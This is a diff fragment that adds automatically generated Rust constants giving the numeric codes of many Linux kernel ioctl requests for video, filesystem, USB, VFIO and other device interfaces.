++pub const VIDIOC_G_FMT: u32 = 3234878980;
++pub const RTC_EPOCH_SET: u32 = 1074294798;
++pub const CAPI_GET_PROFILE: u32 = 3225436937;
++pub const ATM_GETLOOP: u32 = 1074815314;
++pub const SCIF_LISTEN: u32 = 1074033410;
++pub const NBD_CLEAR_QUE: u32 = 43781;
++pub const F2FS_IOC_MOVE_RANGE: u32 = 3223385353;
++pub const LIRC_GET_LENGTH: u32 = 2147772687;
++pub const I8K_SET_FAN: u32 = 3221776775;
++pub const FDSETMAXERRS: u32 = 1075053132;
++pub const VIDIOC_SUBDEV_QUERYCAP: u32 = 2151699968;
++pub const SNAPSHOT_SET_SWAP_AREA: u32 = 1074541325;
++pub const LIRC_GET_REC_TIMEOUT: u32 = 2147772708;
++pub const EVIOCRMFF: u32 = 1074021761;
++pub const GPIO_GET_LINEEVENT_IOCTL: u32 = 3224417284;
++pub const PPRDATA: u32 = 2147577989;
++pub const RIO_MPORT_GET_PROPERTIES: u32 = 2150657284;
++pub const TUNSETVNETHDRSZ: u32 = 1074025688;
++pub const GPIO_GET_LINEINFO_IOCTL: u32 = 3225990146;
++pub const GSMIOC_GETCONF: u32 = 2152482560;
++pub const LIRC_GET_SEND_MODE: u32 = 2147772673;
++pub const PPPIOCSACTIVE: u32 = 1074820166;
++pub const SIOCGSTAMPNS_NEW: u32 = 2148567303;
++pub const IPMICTL_RECEIVE_MSG: u32 = 3224398092;
++pub const LIRC_SET_SEND_DUTY_CYCLE: u32 = 1074030869;
++pub const UI_END_FF_ERASE: u32 = 1074550219;
++pub const SWITCHTEC_IOCTL_FLASH_PART_INFO: u32 = 3222296385;
++pub const FW_CDEV_IOC_SEND_PHY_PACKET: u32 = 3222807317;
++pub const NBD_SET_FLAGS: u32 = 43786;
++pub const VFIO_DEVICE_GET_REGION_INFO: u32 = 15212;
++pub const REISERFS_IOC_UNPACK: u32 = 1074318593;
++pub const FW_CDEV_IOC_REMOVE_DESCRIPTOR: u32 = 1074012935;
++pub const RIO_SET_EVENT_MASK: u32 = 1074031885;
++pub const SNAPSHOT_ALLOC_SWAP_PAGE: u32 = 2148021012;
++pub const VDUSE_VQ_INJECT_IRQ: u32 = 1074037015;
++pub const I2OPASSTHRU: u32 = 2148559116;
++pub const IOC_OPAL_SET_PW: u32 = 1109422304;
++pub const FSI_SCOM_READ: u32 = 3223352065;
++pub const VHOST_VDPA_GET_DEVICE_ID: u32 = 2147790704;
++pub const VIDIOC_QBUF: u32 = 3227014671;
++pub const VIDIOC_S_TUNER: u32 = 1079268894;
++pub const TUNGETVNETHDRSZ: u32 = 2147767511;
++pub const CAPI_NCCI_GETUNIT: u32 = 2147762983;
++pub const DFL_FPGA_PORT_UINT_GET_IRQ_NUM: u32 = 2147792455;
++pub const VIDIOC_OMAP3ISP_STAT_EN: u32 = 3221771975;
++pub const GPIO_V2_LINE_SET_CONFIG_IOCTL: u32 = 3239097357;
++pub const TEE_IOC_VERSION: u32 = 2148312064;
++pub const VIDIOC_LOG_STATUS: u32 = 22086;
++pub const IPMICTL_SEND_COMMAND_SETTIME: u32 = 2150656277;
++pub const VHOST_SET_LOG_FD: u32 = 1074048775;
++pub const SCIF_SEND: u32 = 3222827782;
++pub const VIDIOC_SUBDEV_G_FMT: u32 = 3227014660;
++pub const NS_ADJBUFLEV: u32 = 24931;
++pub const VIDIOC_DBG_S_REGISTER: u32 = 1077433935;
++pub const NILFS_IOCTL_RESIZE: u32 = 1074294411;
++pub const PHN_GETREG: u32 = 3221778437;
++pub const I2OSWDL: u32 = 3224398085;
++pub const VBG_IOCTL_VMMDEV_REQUEST_BIG: u32 = 22019;
++pub const JSIOCGBUTTONS: u32 = 2147576338;
++pub const VFIO_IOMMU_ENABLE: u32 = 15219;
++pub const DM_DEV_RENAME: u32 = 3241737477;
++pub const MEDIA_IOC_SETUP_LINK: u32 = 3224665091;
++pub const VIDIOC_ENUMOUTPUT: u32 = 3225966128;
++pub const STP_POLICY_ID_SET: u32 = 3222283520;
++pub const VHOST_VDPA_SET_CONFIG_CALL: u32 = 1074048887;
++pub const VIDIOC_SUBDEV_G_CROP: u32 = 3224917563;
++pub const VIDIOC_S_CROP: u32 = 1075074620;
++pub const WDIOC_GETTEMP: u32 = 2147768067;
++pub const IOC_OPAL_ADD_USR_TO_LR: u32 = 1092120804;
++pub const UI_SET_LEDBIT: u32 = 1074025833;
++pub const NBD_SET_SOCK: u32 = 43776;
++pub const BTRFS_IOC_SNAP_DESTROY_V2: u32 = 1342215231;
++pub const HIDIOCGCOLLECTIONINFO: u32 = 3222292497;
++pub const I2OSWUL: u32 = 3224398086;
++pub const IOCTL_MEI_NOTIFY_GET: u32 = 2147764227;
++pub const FDFMTTRK: u32 = 1074528840;
++pub const MMTIMER_GETBITS: u32 = 27908;
++pub const VIDIOC_ENUMSTD: u32 = 3225966105;
++pub const VHOST_GET_VRING_BASE: u32 = 3221794578;
++pub const VFIO_DEVICE_IOEVENTFD: u32 = 15220;
++pub const ATMARP_SETENTRY: u32 = 25059;
++pub const CCISS_REVALIDVOLS: u32 = 16906;
++pub const MGSL_IOCLOOPTXDONE: u32 = 27913;
++pub const RTC_VL_READ: u32 = 2147774483;
++pub const ND_IOCTL_ARS_STATUS: u32 = 3224391171;
++pub const RIO_DEV_DEL: u32 = 1075866904;
++pub const VBG_IOCTL_ACQUIRE_GUEST_CAPABILITIES: u32 = 3223606797;
++pub const VIDIOC_SUBDEV_DV_TIMINGS_CAP: u32 = 3230684772;
++pub const SONYPI_IOCSFAN: u32 = 1073837579;
++pub const SPIOCSTYPE: u32 = 1074295041;
++pub const IPMICTL_REGISTER_FOR_CMD: u32 = 2147641614;
++pub const I8K_GET_FAN: u32 = 3221776774;
++pub const TUNGETVNETBE: u32 = 2147767519;
++pub const AUTOFS_DEV_IOCTL_FAIL: u32 = 3222836087;
++pub const UI_END_FF_UPLOAD: u32 = 1080579529;
++pub const TOSH_SMM: u32 = 3222828176;
++pub const SONYPI_IOCGBAT2REM: u32 = 2147644933;
++pub const F2FS_IOC_GET_COMPRESS_BLOCKS: u32 = 2148070673;
++pub const PPPIOCSNPMODE: u32 = 1074295883;
++pub const USBDEVFS_CONTROL: u32 = 3222820096;
++pub const HIDIOCGUSAGE: u32 = 3222816779;
++pub const TUNSETTXFILTER: u32 = 1074025681;
++pub const TUNGETVNETLE: u32 = 2147767517;
++pub const VIDIOC_ENUM_DV_TIMINGS: u32 = 3230946914;
++pub const BTRFS_IOC_INO_PATHS: u32 = 3224933411;
++pub const MGSL_IOCGXSYNC: u32 = 27924;
++pub const HIDIOCGFIELDINFO: u32 = 3224913930;
++pub const VIDIOC_SUBDEV_G_STD: u32 = 2148029975;
++pub const I2OVALIDATE: u32 = 2147772680;
++pub const VIDIOC_TRY_ENCODER_CMD: u32 = 3223869006;
++pub const NILFS_IOCTL_GET_CPINFO: u32 = 2149084802;
++pub const VIDIOC_G_FREQUENCY: u32 = 3224131128;
++pub const VFAT_IOCTL_READDIR_SHORT: u32 = 2184212994;
++pub const ND_IOCTL_GET_CONFIG_DATA: u32 = 3222031877;
++pub const F2FS_IOC_RESERVE_COMPRESS_BLOCKS: u32 = 2148070675;
++pub const FDGETDRVSTAT: u32 = 2152727058;
++pub const SYNC_IOC_MERGE: u32 = 3224387075;
++pub const VIDIOC_S_DV_TIMINGS: u32 = 3229898327;
++pub const PPPIOCBRIDGECHAN: u32 = 1074033717;
++pub const LIRC_SET_SEND_MODE: u32 = 1074030865;
++pub const RIO_ENABLE_PORTWRITE_RANGE: u32 = 1074818315;
++pub const ATM_GETTYPE: u32 = 1074815364;
++pub const PHN_GETREGS: u32 = 3223875591;
++pub const FDSETEMSGTRESH: u32 = 586;
++pub const NILFS_IOCTL_GET_VINFO: u32 = 3222826630;
++pub const MGSL_IOCWAITEVENT: u32 = 3221515528;
++pub const CAPI_INSTALLED: u32 = 2147631906;
++pub const EVIOCGMASK: u32 = 2148550034;
++pub const BTRFS_IOC_SUBVOL_GETFLAGS: u32 = 2148045849;
++pub const FSL_HV_IOCTL_PARTITION_GET_STATUS: u32 = 3222056706;
++pub const MEDIA_IOC_ENUM_ENTITIES: u32 = 3238034433;
++pub const GSMIOC_GETFIRST: u32 = 2147763972;
++pub const FW_CDEV_IOC_FLUSH_ISO: u32 = 1074012952;
++pub const VIDIOC_DBG_G_CHIP_INFO: u32 = 3234354790;
++pub const F2FS_IOC_RELEASE_VOLATILE_WRITE: u32 = 62724;
++pub const CAPI_GET_SERIAL: u32 = 3221504776;
++pub const FDSETDRVPRM: u32 = 1082131088;
++pub const IOC_OPAL_SAVE: u32 = 1092120796;
++pub const VIDIOC_G_DV_TIMINGS: u32 = 3229898328;
++pub const TUNSETIFINDEX: u32 = 1074025690;
++pub const CCISS_SETINTINFO: u32 = 1074283011;
++pub const CM_IOSDBGLVL: u32 = 1074291706;
++pub const RTC_VL_CLR: u32 = 28692;
++pub const VIDIOC_REQBUFS: u32 = 3222558216;
++pub const USBDEVFS_REAPURBNDELAY32: u32 = 1074025741;
++pub const TEE_IOC_SHM_REGISTER: u32 = 3222840329;
++pub const USBDEVFS_SETCONFIGURATION: u32 = 2147767557;
++pub const CCISS_GETNODENAME: u32 = 2148549124;
++pub const VIDIOC_SUBDEV_S_FRAME_INTERVAL: u32 = 3224393238;
++pub const VIDIOC_ENUM_FRAMESIZES: u32 = 3224131146;
++pub const VFIO_DEVICE_PCI_HOT_RESET: u32 = 15217;
++pub const FW_CDEV_IOC_SEND_BROADCAST_REQUEST: u32 = 1076372242;
++pub const LPSETTIMEOUT_NEW: u32 = 1074791951;
++pub const RIO_CM_MPORT_GET_LIST: u32 = 3221512971;
++pub const FW_CDEV_IOC_QUEUE_ISO: u32 = 3222807305;
++pub const FDRAWCMD: u32 = 600;
++pub const SCIF_UNREG: u32 = 3222303497;
++pub const PPPIOCGIDLE64: u32 = 2148561983;
++pub const USBDEVFS_RELEASEINTERFACE: u32 = 2147767568;
++pub const VIDIOC_CROPCAP: u32 = 3224131130;
++pub const DFL_FPGA_PORT_GET_INFO: u32 = 46657;
++pub const PHN_SET_REGS: u32 = 1074294787;
++pub const ATMLEC_DATA: u32 = 25041;
++pub const PPPOEIOCDFWD: u32 = 45313;
++pub const VIDIOC_S_SELECTION: u32 = 3225441887;
++pub const SNAPSHOT_FREE_SWAP_PAGES: u32 = 13065;
++pub const BTRFS_IOC_LOGICAL_INO: u32 = 3224933412;
++pub const VIDIOC_S_CTRL: u32 = 3221771804;
++pub const ZATM_SETPOOL: u32 = 1074815331;
++pub const MTIOCPOS: u32 = 2148035843;
++pub const PMU_IOC_SLEEP: u32 = 16896;
++pub const AUTOFS_DEV_IOCTL_PROTOSUBVER: u32 = 3222836083;
++pub const VBG_IOCTL_CHANGE_FILTER_MASK: u32 = 3223344652;
++pub const NILFS_IOCTL_GET_SUSTAT: u32 = 2150657669;
++pub const VIDIOC_QUERYCAP: u32 = 2154321408;
++pub const HPET_INFO: u32 = 2149083139;
++pub const VIDIOC_AM437X_CCDC_CFG: u32 = 1074288321;
++pub const DM_LIST_DEVICES: u32 = 3241737474;
++pub const TUNSETOWNER: u32 = 1074025676;
++pub const VBG_IOCTL_CHANGE_GUEST_CAPABILITIES: u32 = 3223344654;
++pub const RNDADDENTROPY: u32 = 1074287107;
++pub const USBDEVFS_RESET: u32 = 21780;
++pub const BTRFS_IOC_SUBVOL_CREATE: u32 = 1342215182;
++pub const USBDEVFS_FORBID_SUSPEND: u32 = 21793;
++pub const FDGETDRVTYP: u32 = 2148532751;
++pub const PPWCONTROL: u32 = 1073836164;
++pub const VIDIOC_ENUM_FRAMEINTERVALS: u32 = 3224655435;
++pub const KCOV_DISABLE: u32 = 25445;
++pub const IOC_OPAL_ACTIVATE_LSP: u32 = 1092120799;
++pub const VHOST_VDPA_GET_IOVA_RANGE: u32 = 2148577144;
++pub const PPPIOCSPASS: u32 = 1074820167;
++pub const RIO_CM_CHAN_CONNECT: u32 = 1074291464;
++pub const I2OSWDEL: u32 = 3224398087;
++pub const FS_IOC_SET_ENCRYPTION_POLICY: u32 = 2148296211;
++pub const IOC_OPAL_MBR_DONE: u32 = 1091596521;
++pub const PPPIOCSMAXCID: u32 = 1074033745;
++pub const PPSETPHASE: u32 = 1074032788;
++pub const VHOST_VDPA_SET_VRING_ENABLE: u32 = 1074311029;
++pub const USBDEVFS_GET_SPEED: u32 = 21791;
++pub const SONET_GETFRAMING: u32 = 2147770646;
++pub const VIDIOC_QUERYBUF: u32 = 3227014665;
++pub const VIDIOC_S_EDID: u32 = 3223868969;
++pub const BTRFS_IOC_QGROUP_ASSIGN: u32 = 1075352617;
++pub const PPS_GETCAP: u32 = 2148036771;
++pub const SNAPSHOT_PLATFORM_SUPPORT: u32 = 13071;
++pub const LIRC_SET_REC_TIMEOUT_REPORTS: u32 = 1074030873;
++pub const SCIF_GET_NODEIDS: u32 = 3222827790;
++pub const NBD_DISCONNECT: u32 = 43784;
++pub const VIDIOC_SUBDEV_G_FRAME_INTERVAL: u32 = 3224393237;
++pub const VFIO_IOMMU_DISABLE: u32 = 15220;
++pub const SNAPSHOT_CREATE_IMAGE: u32 = 1074017041;
++pub const SNAPSHOT_POWER_OFF: u32 = 13072;
++pub const APM_IOC_STANDBY: u32 = 16641;
++pub const PPPIOCGUNIT: u32 = 2147775574;
++pub const AUTOFS_IOC_EXPIRE_MULTI: u32 = 1074041702;
++pub const SCIF_BIND: u32 = 3221779201;
++pub const IOC_WATCH_QUEUE_SET_SIZE: u32 = 22368;
++pub const NILFS_IOCTL_CHANGE_CPMODE: u32 = 1074818688;
++pub const IOC_OPAL_LOCK_UNLOCK: u32 = 1092120797;
++pub const F2FS_IOC_SET_PIN_FILE: u32 = 1074066701;
++pub const PPPIOCGRASYNCMAP: u32 = 2147775573;
++pub const MMTIMER_MMAPAVAIL: u32 = 27910;
++pub const I2OPASSTHRU32: u32 = 2148034828;
++pub const DFL_FPGA_FME_PORT_RELEASE: u32 = 1074050689;
++pub const VIDIOC_SUBDEV_QUERY_DV_TIMINGS: u32 = 2156156515;
++pub const UI_SET_SNDBIT: u32 = 1074025834;
++pub const VIDIOC_G_AUDOUT: u32 = 2150913585;
++pub const RTC_PLL_SET: u32 = 1075867666;
++pub const VIDIOC_ENUMAUDIO: u32 = 3224655425;
++pub const AUTOFS_DEV_IOCTL_TIMEOUT: u32 = 3222836090;
++pub const VBG_IOCTL_DRIVER_VERSION_INFO: u32 = 3224131072;
++pub const VHOST_SCSI_GET_EVENTS_MISSED: u32 = 1074048836;
++pub const VHOST_SET_VRING_ADDR: u32 = 1076408081;
++pub const VDUSE_CREATE_DEV: u32 = 1095794946;
++pub const FDFLUSH: u32 = 587;
++pub const VBG_IOCTL_WAIT_FOR_EVENTS: u32 = 3223344650;
++pub const DFL_FPGA_FME_ERR_SET_IRQ: u32 = 1074312836;
++pub const F2FS_IOC_GET_PIN_FILE: u32 = 2147808526;
++pub const SCIF_CONNECT: u32 = 3221779203;
++pub const BLKREPORTZONE: u32 = 3222278786;
++pub const AUTOFS_IOC_ASKUMOUNT: u32 = 2147783536;
++pub const ATM_ADDPARTY: u32 = 1074815476;
++pub const FDSETPRM: u32 = 1075839554;
++pub const ATM_GETSTATZ: u32 = 1074815313;
++pub const ISST_IF_MSR_COMMAND: u32 = 3221814788;
++pub const BTRFS_IOC_GET_SUBVOL_INFO: u32 = 2180551740;
++pub const VIDIOC_UNSUBSCRIBE_EVENT: u32 = 1075861083;
++pub const SEV_ISSUE_CMD: u32 = 3222295296;
++pub const GPIOHANDLE_SET_LINE_VALUES_IOCTL: u32 = 3225465865;
++pub const PCITEST_COPY: u32 = 1074286598;
++pub const IPMICTL_GET_MY_ADDRESS_CMD: u32 = 2147772690;
++pub const CHIOGPICKER: u32 = 2147771140;
++pub const CAPI_NCCI_OPENCOUNT: u32 = 2147762982;
++pub const CXL_MEM_SEND_COMMAND: u32 = 3224423938;
++pub const PERF_EVENT_IOC_SET_FILTER: u32 = 1074275334;
++pub const IOC_OPAL_REVERT_TPR: u32 = 1091072226;
++pub const CHIOGVPARAMS: u32 = 2154849043;
++pub const PTP_PEROUT_REQUEST: u32 = 1077427459;
++pub const FSI_SCOM_CHECK: u32 = 2147775232;
++pub const RTC_IRQP_READ: u32 = 2148036619;
++pub const RIO_MPORT_MAINT_READ_LOCAL: u32 = 2149084421;
++pub const HIDIOCGRDESCSIZE: u32 = 2147764225;
++pub const UI_GET_VERSION: u32 = 2147767597;
++pub const NILFS_IOCTL_GET_CPSTAT: u32 = 2149084803;
++pub const CCISS_GETBUSTYPES: u32 = 2147762695;
++pub const VFIO_IOMMU_SPAPR_TCE_CREATE: u32 = 15223;
++pub const VIDIOC_EXPBUF: u32 = 3225441808;
++pub const UI_SET_RELBIT: u32 = 1074025830;
++pub const VFIO_SET_IOMMU: u32 = 15206;
++pub const VIDIOC_S_MODULATOR: u32 = 1078220343;
++pub const TUNGETFILTER: u32 = 2148553947;
++pub const MEYEIOC_SYNC: u32 = 3221518019;
++pub const CCISS_SETNODENAME: u32 = 1074807301;
++pub const FBIO_GETCONTROL2: u32 = 2148025993;
++pub const TUNSETDEBUG: u32 = 1074025673;
++pub const DM_DEV_REMOVE: u32 = 3241737476;
++pub const HIDIOCSUSAGES: u32 = 1344030740;
++pub const FS_IOC_ADD_ENCRYPTION_KEY: u32 = 3226494487;
++pub const FBIOGET_VBLANK: u32 = 2149598738;
++pub const ATM_GETSTAT: u32 = 1074815312;
++pub const VIDIOC_G_JPEGCOMP: u32 = 2156680765;
++pub const TUNATTACHFILTER: u32 = 1074812117;
++pub const UI_SET_ABSBIT: u32 = 1074025831;
++pub const DFL_FPGA_PORT_ERR_GET_IRQ_NUM: u32 = 2147792453;
++pub const USBDEVFS_REAPURB32: u32 = 1074025740;
++pub const BTRFS_IOC_TRANS_END: u32 = 37895;
++pub const CAPI_REGISTER: u32 = 1074545409;
++pub const F2FS_IOC_COMPRESS_FILE: u32 = 62744;
++pub const USBDEVFS_DISCARDURB: u32 = 21771;
++pub const HE_GET_REG: u32 = 1074815328;
++pub const ATM_SETLOOP: u32 = 1074815315;
++pub const ATMSIGD_CTRL: u32 = 25072;
++pub const CIOC_KERNEL_VERSION: u32 = 3221775114;
++pub const BTRFS_IOC_CLONE_RANGE: u32 = 1075876877;
++pub const SNAPSHOT_UNFREEZE: u32 = 13058;
++pub const F2FS_IOC_START_VOLATILE_WRITE: u32 = 62723;
++pub const PMU_IOC_HAS_ADB: u32 = 2148024836;
++pub const I2OGETIOPS: u32 = 2149607680;
++pub const VIDIOC_S_FBUF: u32 = 1076909579;
++pub const PPRCONTROL: u32 = 2147577987;
++pub const CHIOSPICKER: u32 = 1074029317;
++pub const VFIO_IOMMU_SPAPR_REGISTER_MEMORY: u32 = 15221;
++pub const TUNGETSNDBUF: u32 = 2147767507;
++pub const GSMIOC_SETCONF: u32 = 1078740737;
++pub const IOC_PR_PREEMPT: u32 = 1075343563;
++pub const KCOV_INIT_TRACE: u32 = 2148033281;
++pub const SONYPI_IOCGBAT1CAP: u32 = 2147644930;
++pub const SWITCHTEC_IOCTL_FLASH_INFO: u32 = 2148554560;
++pub const MTIOCTOP: u32 = 1074294017;
++pub const VHOST_VDPA_SET_STATUS: u32 = 1073852274;
++pub const VHOST_SCSI_SET_EVENTS_MISSED: u32 = 1074048835;
++pub const VFIO_IOMMU_DIRTY_PAGES: u32 = 15221;
++pub const BTRFS_IOC_SCRUB_PROGRESS: u32 = 3288372253;
++pub const PPPIOCGMRU: u32 = 2147775571;
++pub const BTRFS_IOC_DEV_REPLACE: u32 = 3391657013;
++pub const PPPIOCGFLAGS: u32 = 2147775578;
++pub const NILFS_IOCTL_SET_SUINFO: u32 = 1075342989;
++pub const FW_CDEV_IOC_GET_CYCLE_TIMER2: u32 = 3222807316;
++pub const ATM_DELLECSADDR: u32 = 1074815375;
++pub const FW_CDEV_IOC_GET_SPEED: u32 = 8977;
++pub const PPPIOCGIDLE32: u32 = 2148037695;
++pub const VFIO_DEVICE_RESET: u32 = 15215;
++pub const GPIO_GET_LINEINFO_UNWATCH_IOCTL: u32 = 3221533708;
++pub const WDIOC_GETSTATUS: u32 = 2147768065;
++pub const BTRFS_IOC_SET_FEATURES: u32 = 1076925497;
++pub const IOCTL_MEI_CONNECT_CLIENT: u32 = 3222292481;
++pub const VIDIOC_OMAP3ISP_AEWB_CFG: u32 = 3223344835;
++pub const PCITEST_READ: u32 = 1074286597;
++pub const VFIO_GROUP_GET_STATUS: u32 = 15207;
++pub const MATROXFB_GET_ALL_OUTPUTS: u32 = 2148036347;
++pub const USBDEVFS_CLEAR_HALT: u32 = 2147767573;
++pub const VIDIOC_DECODER_CMD: u32 = 3225966176;
++pub const VIDIOC_G_AUDIO: u32 = 2150913569;
++pub const CCISS_RESCANDISK: u32 = 16912;
++pub const RIO_DISABLE_PORTWRITE_RANGE: u32 = 1074818316;
++pub const IOC_OPAL_SECURE_ERASE_LR: u32 = 1091596519;
++pub const USBDEVFS_REAPURB: u32 = 1074287884;
++pub const DFL_FPGA_CHECK_EXTENSION: u32 = 46593;
++pub const AUTOFS_IOC_PROTOVER: u32 = 2147783523;
++pub const FSL_HV_IOCTL_MEMCPY: u32 = 3223891717;
++pub const BTRFS_IOC_GET_FEATURES: u32 = 2149094457;
++pub const PCITEST_MSIX: u32 = 1074024455;
++pub const BTRFS_IOC_DEFRAG_RANGE: u32 = 1076925456;
++pub const UI_BEGIN_FF_ERASE: u32 = 3222033866;
++pub const DM_GET_TARGET_VERSION: u32 = 3241737489;
++pub const PPPIOCGIDLE: u32 = 2148561983;
++pub const NVRAM_SETCKS: u32 = 28737;
++pub const WDIOC_GETSUPPORT: u32 = 2150127360;
++pub const GSMIOC_ENABLE_NET: u32 = 1077167874;
++pub const GPIO_GET_CHIPINFO_IOCTL: u32 = 2151986177;
++pub const NE_ADD_VCPU: u32 = 3221532193;
++pub const EVIOCSKEYCODE_V2: u32 = 1076380932;
++pub const PTP_SYS_OFFSET_EXTENDED2: u32 = 3300932882;
++pub const SCIF_FENCE_WAIT: u32 = 3221517072;
++pub const RIO_TRANSFER: u32 = 3222826261;
++pub const FSL_HV_IOCTL_DOORBELL: u32 = 3221794566;
++pub const RIO_MPORT_MAINT_WRITE_LOCAL: u32 = 1075342598;
++pub const I2OEVTREG: u32 = 1074555146;
++pub const I2OPARMGET: u32 = 3223873796;
++pub const EVIOCGID: u32 = 2148025602;
++pub const BTRFS_IOC_QGROUP_CREATE: u32 = 1074828330;
++pub const AUTOFS_DEV_IOCTL_SETPIPEFD: u32 = 3222836088;
++pub const VIDIOC_S_PARM: u32 = 3234616854;
++pub const TUNSETSTEERINGEBPF: u32 = 2147767520;
++pub const ATM_GETNAMES: u32 = 1074815363;
++pub const VIDIOC_QUERYMENU: u32 = 3224131109;
++pub const DFL_FPGA_PORT_DMA_UNMAP: u32 = 46660;
++pub const I2OLCTGET: u32 = 3222825218;
++pub const FS_IOC_GET_ENCRYPTION_PWSALT: u32 = 1074816532;
++pub const NS_SETBUFLEV: u32 = 1074815330;
++pub const BLKCLOSEZONE: u32 = 1074795143;
++pub const SONET_GETFRSENSE: u32 = 2147901719;
++pub const UI_SET_EVBIT: u32 = 1074025828;
++pub const DM_LIST_VERSIONS: u32 = 3241737485;
++pub const HIDIOCGSTRING: u32 = 2164541444;
++pub const PPPIOCATTCHAN: u32 = 1074033720;
++pub const VDUSE_DEV_SET_CONFIG: u32 = 1074299154;
++pub const TUNGETFEATURES: u32 = 2147767503;
++pub const VFIO_GROUP_UNSET_CONTAINER: u32 = 15209;
++pub const IPMICTL_SET_MY_ADDRESS_CMD: u32 = 2147772689;
++pub const CCISS_REGNEWDISK: u32 = 1074020877;
++pub const VIDIOC_QUERY_DV_TIMINGS: u32 = 2156156515;
++pub const PHN_SETREGS: u32 = 1076391944;
++pub const FAT_IOCTL_GET_ATTRIBUTES: u32 = 2147774992;
++pub const FSL_MC_SEND_MC_COMMAND: u32 = 3225440992;
++pub const TUNGETIFF: u32 = 2147767506;
++pub const PTP_CLOCK_GETCAPS2: u32 = 2152742154;
++pub const BTRFS_IOC_RESIZE: u32 = 1342215171;
++pub const VHOST_SET_VRING_ENDIAN: u32 = 1074310931;
++pub const PPS_KC_BIND: u32 = 1074294949;
++pub const F2FS_IOC_WRITE_CHECKPOINT: u32 = 62727;
++pub const UI_SET_FFBIT: u32 = 1074025835;
++pub const IPMICTL_GET_MY_LUN_CMD: u32 = 2147772692;
++pub const CEC_ADAP_G_PHYS_ADDR: u32 = 2147639553;
++pub const CEC_G_MODE: u32 = 2147770632;
++pub const USBDEVFS_RESETEP: u32 = 2147767555;
++pub const MEDIA_REQUEST_IOC_QUEUE: u32 = 31872;
++pub const USBDEVFS_ALLOC_STREAMS: u32 = 2148029724;
++pub const MGSL_IOCSXCTRL: u32 = 27925;
++pub const MEDIA_IOC_G_TOPOLOGY: u32 = 3225975812;
++pub const PPPIOCUNBRIDGECHAN: u32 = 29748;
++pub const F2FS_IOC_COMMIT_ATOMIC_WRITE: u32 = 62722;
++pub const ISST_IF_GET_PLATFORM_INFO: u32 = 2148072960;
++pub const SCIF_FENCE_MARK: u32 = 3222303503;
++pub const USBDEVFS_RELEASE_PORT: u32 = 2147767577;
++pub const VFIO_CHECK_EXTENSION: u32 = 15205;
++pub const BTRFS_IOC_QGROUP_LIMIT: u32 = 2150667307;
++pub const FAT_IOCTL_GET_VOLUME_ID: u32 = 2147774995;
++pub const UI_SET_PHYS: u32 = 1074287980;
++pub const FDWERRORGET: u32 = 2150105623;
++pub const VIDIOC_SUBDEV_G_EDID: u32 = 3223868968;
++pub const MGSL_IOCGSTATS: u32 = 27911;
++pub const RPROC_SET_SHUTDOWN_ON_RELEASE: u32 = 1074050817;
++pub const SIOCGSTAMP_NEW: u32 = 2148567302;
++pub const RTC_WKALM_RD: u32 = 2150133776;
++pub const PHN_GET_REG: u32 = 3221778432;
++pub const DELL_WMI_SMBIOS_CMD: u32 = 3224655616;
++pub const PHN_NOT_OH: u32 = 28676;
++pub const PPGETMODES: u32 = 2147774615;
++pub const CHIOGPARAMS: u32 = 2148819718;
++pub const VFIO_DEVICE_GET_GFX_DMABUF: u32 = 15219;
++pub const VHOST_SET_VRING_BUSYLOOP_TIMEOUT: u32 = 1074310947;
++pub const VIDIOC_SUBDEV_G_SELECTION: u32 = 3225441853;
++pub const BTRFS_IOC_RM_DEV_V2: u32 = 1342215226;
++pub const MGSL_IOCWAITGPIO: u32 = 3222301970;
++pub const PMU_IOC_CAN_SLEEP: u32 = 2148024837;
++pub const KCOV_ENABLE: u32 = 25444;
++pub const BTRFS_IOC_CLONE: u32 = 1074041865;
++pub const F2FS_IOC_DEFRAGMENT: u32 = 3222336776;
++pub const FW_CDEV_IOC_DEALLOCATE_ISO_RESOURCE: u32 = 1074012942;
++pub const AGPIOC_ALLOCATE: u32 = 3221766406;
++pub const NE_SET_USER_MEMORY_REGION: u32 = 1075359267;
++pub const MGSL_IOCTXABORT: u32 = 27910;
++pub const MGSL_IOCSGPIO: u32 = 1074818320;
++pub const LIRC_SET_REC_CARRIER: u32 = 1074030868;
++pub const F2FS_IOC_FLUSH_DEVICE: u32 = 1074328842;
++pub const SNAPSHOT_ATOMIC_RESTORE: u32 = 13060;
++pub const RTC_UIE_OFF: u32 = 28676;
++pub const BT_BMC_IOCTL_SMS_ATN: u32 = 45312;
++pub const NVME_IOCTL_ID: u32 = 20032;
++pub const NE_START_ENCLAVE: u32 = 3222318628;
++pub const VIDIOC_STREAMON: u32 = 1074026002;
++pub const FDPOLLDRVSTAT: u32 = 2152727059;
++pub const AUTOFS_DEV_IOCTL_READY: u32 = 3222836086;
++pub const VIDIOC_ENUMAUDOUT: u32 = 3224655426;
++pub const VIDIOC_SUBDEV_S_STD: u32 = 1074288152;
++pub const WDIOC_GETTIMELEFT: u32 = 2147768074;
++pub const ATM_GETLINKRATE: u32 = 1074815361;
++pub const RTC_WKALM_SET: u32 = 1076391951;
++pub const VHOST_GET_BACKEND_FEATURES: u32 = 2148052774;
++pub const ATMARP_ENCAP: u32 = 25061;
++pub const CAPI_GET_FLAGS: u32 = 2147762979;
++pub const IPMICTL_SET_MY_CHANNEL_ADDRESS_CMD: u32 = 2147772696;
++pub const DFL_FPGA_FME_PORT_ASSIGN: u32 = 1074050690;
++pub const NS_GET_OWNER_UID: u32 = 46852;
++pub const VIDIOC_OVERLAY: u32 = 1074025998;
++pub const BTRFS_IOC_WAIT_SYNC: u32 = 1074304022;
++pub const GPIOHANDLE_SET_CONFIG_IOCTL: u32 = 3226776586;
++pub const VHOST_GET_VRING_ENDIAN: u32 = 1074310932;
++pub const ATM_GETADDR: u32 = 1074815366;
++pub const PHN_GET_REGS: u32 = 3221778434;
++pub const AUTOFS_DEV_IOCTL_REQUESTER: u32 = 3222836091;
++pub const AUTOFS_DEV_IOCTL_EXPIRE: u32 = 3222836092;
++pub const SNAPSHOT_S2RAM: u32 = 13067;
++pub const JSIOCSAXMAP: u32 = 1077963313;
++pub const F2FS_IOC_SET_COMPRESS_OPTION: u32 = 1073935638;
++pub const VBG_IOCTL_HGCM_DISCONNECT: u32 = 3223082501;
++pub const SCIF_FENCE_SIGNAL: u32 = 3223876369;
++pub const VFIO_DEVICE_GET_PCI_HOT_RESET_INFO: u32 = 15216;
++pub const VIDIOC_SUBDEV_ENUM_MBUS_CODE: u32 = 3224393218;
++pub const MMTIMER_GETOFFSET: u32 = 27904;
++pub const RIO_CM_CHAN_LISTEN: u32 = 1073898246;
++pub const ATM_SETSC: u32 = 1074029041;
++pub const F2FS_IOC_SHUTDOWN: u32 = 2147768445;
++pub const NVME_IOCTL_RESCAN: u32 = 20038;
